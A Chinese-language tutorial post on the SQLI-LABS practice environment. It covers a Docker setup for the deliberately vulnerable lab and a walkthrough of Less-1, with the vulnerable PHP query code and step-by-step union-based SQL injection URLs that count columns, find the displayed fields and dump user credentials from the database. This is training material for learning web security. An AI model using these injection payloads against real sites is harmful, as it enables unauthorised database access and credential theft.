SQLI-LABS 更新帖(一)

时间:2022-05-06
本文章向大家介绍SQLI-LABS 更新帖(一),主要内容包括docker搭建环境、Less-1、基本概念、基础应用、原理机制和需要注意的事项等,并结合实例形式分析了其使用技巧,希望通过本文能帮助到大家理解应用这部分内容。

docker搭建环境

请自己安装好docker,然后使用ubuntu:14.04的镜像

docker pull ubuntu:14.04

以下是pcat提供的Dockerfile和start.sh,请把这2个文件放在同一个文件夹下

(如果不懂docker的话,可以借此机会学习学习下)

Dockerfile:

FROM ubuntu:14.04
MAINTAINER pcat@chamd5.org
ENV REFRESHED_AT 2017-11-14
ENV LANG C.UTF-8

# change sources.list
RUN sed -i 's/http://archive.ubuntu.com/ubuntu//http://mirrors.163.com/ubuntu//g' 
    /etc/apt/sources.list

# update
RUN apt-get update
ENV DEBIAN_FRONTEND noninteractive

# install apache2,mysql,php
RUN apt-get -y install apache2
RUN apt-get -y install mysql-server
RUN apt-get -y install php5 libapache2-mod-php5
RUN apt-get install -yqq php5-mysql php5-curl php5-gd php5-intl 
    php-pear php5-imagick php5-imap php5-mcrypt php5-memcache 
    php5-ming php5-ps php5-pspell php5-recode php5-snmp 
    php5-sqlite php5-tidy php5-xmlrpc php5-xsl

# install vi
RUN apt-get -y remove vim-common
RUN apt-get -y install vim

# install wget,sqli-labs,unzip
RUN apt-get -y install wget
RUN wget https://github.com/Audi-1/sqli-labs/archive/master.zip -P /var/www/html
RUN apt-get -y install unzip
RUN unzip /var/www/html/master.zip -d /var/www/html/
RUN mv /var/www/html/sqli-labs-master /var/www/html/sqli-labs

# 
COPY start.sh /root/start.sh
ENTRYPOINT chmod +x /root/start.sh ; ./root/start.sh
EXPOSE 80

start.sh:

#!/bin/bash
sleep 1

# start
/etc/init.d/apache2 start
service mysql start

# import
mysql < /var/www/html/sqli-labs/sql-lab.sql

# clean
history -c
/bin/bash

生成镜像的命令:

docker build -t "sqli-labs" . 

运行的命令:

docker run -itd -p 80:80 sqli-labs /bin/bash

Less-1

url:/sqli-labs/Less-1/?id=1

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

我们可以看到$id这个变量被单引号包裹,所以是字符型当我们传入参数的时候存在’会报错

url:/sqli-labs/Less-1/?id=1%27%20order%20by%201,2,3,4%20--%20- //查看多少列,可以用二分法去猜测节约时间。

由图可以看到第四列的时候它爆出不存在,由此我们可以判断出只有三列,此时我们回到mysql查看下是否正确,如图:

url:/sql/Less-1/?id=1%27%20union%20select%201,2,3%20--%20- //使用联合查询语句判断回显位置,如下图:

是不是很奇怪为什么明明看到显位但是页面回显正常,然后我们回到代码去看

我们可以看到

$row = mysql_fetch_array($result);
    if($row)
    {
    echo "<font size='5' color= '#99FF00'>";
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    }

这段代码把查询结果的username,password字段输出到页面。注意mysql_fetch_array这个函数

PHP mysql_fetch_array() 函数
    mysql_fetch_array() 函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有
返回根据从结果集取得的行生成的数组,如果没有更多行则返回 false。

我们的sql语句查询出来两行,但是到php去输出的时候被这个函数只取一行输出出来,所以我们只需要把第一个闭合的语句失效,查一条不存在的或者让它and 1=2永远不成立然后再用union 进行拼接便会找到显位。如图:

找到显位下面我们在显位插入我们要拼接的SQL语句即可,便可以查询出我们想要的信息,在这之前我们先介绍几个mysql的函数:

MySQL的行转列、列转行、连接字符串  concat、concat_ws、group_concat函数用法
    CONCAT(str1,str2,…)  
    CONCAT_WS(separator,str1,str2,...)
    group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator '分隔      符'])

CONCAT函数:

url:/sql/Less-1/?id=1' and 1=2 union select 1,CONCAT(USER(),DATABASE(),VERSION()),3 -- -

CONCAT_WS函数:

url:/sql/Less-1/?id=1' and 1=2 union select 1,CONCAT_WS(':',USER(),DATABASE(),VERSION()),3 -- -

可以看出我们用:添加分隔符,进行分隔提取出来的字段多条时方便查看。

GROUP_CONCAT函数:

url:/sql/Less-1/?id=1' and 1=2 union select 1,(SELECT+GROUP_CONCAT(id+SEPARATOR+',')+FROM+security.users),3 -- -

id是你想要查询的字段,group_concat函数separator是可将查询结果用字符串连接变为一行进行查询,后头跟分隔符。注:group_concat函数大小写敏感,所以表名出要小写。

接着我们查看id,username,password,这三个字段的内容;

url:/sql/Less-1/?id=1' and 1=2 +UNION+ALL+SELECT+1,(SELECT+GROUP_CONCAT(id,username,password+SEPARATOR+'<br>')+FROM+security.users),3-- -

最后收尾,我们用一张图来解释sql注入:

第一关讲的详细些,后续只贴代码还有语句、分析,请自己去按照上文学习。共七十五关,半月一更,每更必有量与质。